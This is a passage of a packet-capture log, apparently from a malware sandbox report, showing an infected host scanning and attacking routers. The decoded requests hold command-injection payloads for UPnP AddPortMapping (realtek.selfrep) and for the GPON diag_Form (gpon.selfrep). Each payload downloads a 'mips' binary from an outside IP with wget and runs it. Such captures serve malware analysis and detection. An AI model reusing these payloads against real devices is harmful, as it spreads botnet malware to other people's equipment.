6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:01.103348017 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.13	36942	94.123.187.221	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.950910091 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.13	34162	23.7.149.198	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.092509985 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:00.356427908 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:00 GMT Date: Mon, 15 Apr 2024 06:53:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 61 62 34 62 36 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 31 63 33 33 32 35 32 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 61 62 34 62 36 38 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 31 63 33 33 32 35 32 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6ab4b68.1713163980.1c332526<P>https://errors.edgesuite.net/9.6ab4b68.1713163980.1c332526</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.13	39838	184.30.251.168	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.142785072 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:00.451451063 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:00 GMT Date: Mon, 15 Apr 2024 06:53:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 62 31 30 36 30 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 32 37 32 32 62 39 63 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 66 62 31 30 36 30 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 32 37 32 32 62 39 63 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5fb1060.1713163980.2722b9c5<P>https://errors.edgesuite.net/9.5fb1060.1713163980.2722b9c5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.13	35210	202.194.31.3	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.177844048 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:00.528997898 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:00 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.13	51328	13.71.93.50	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.178078890 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:01.984524012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:02.334024906 CEST	345	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Mon, 15 Apr 2024 06:53:02 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://www.refread.com/error?ra Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.13	36234	23.37.20.123	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.322287083 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:00.515361071 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:00 GMT Date: Mon, 15 Apr 2024 06:53:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 64 39 31 63 30 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 33 35 61 37 31 35 65 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 64 39 31 63 30 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 38 30 26 23 34 36 3b 33 35 61 37 31 35 65 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.9d91c017.1713163980.35a715e1<P>https://errors.edgesuite.net/9.9d91c017.1713163980.35a715e1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.13	36958	94.123.187.221	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:00.322386026 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 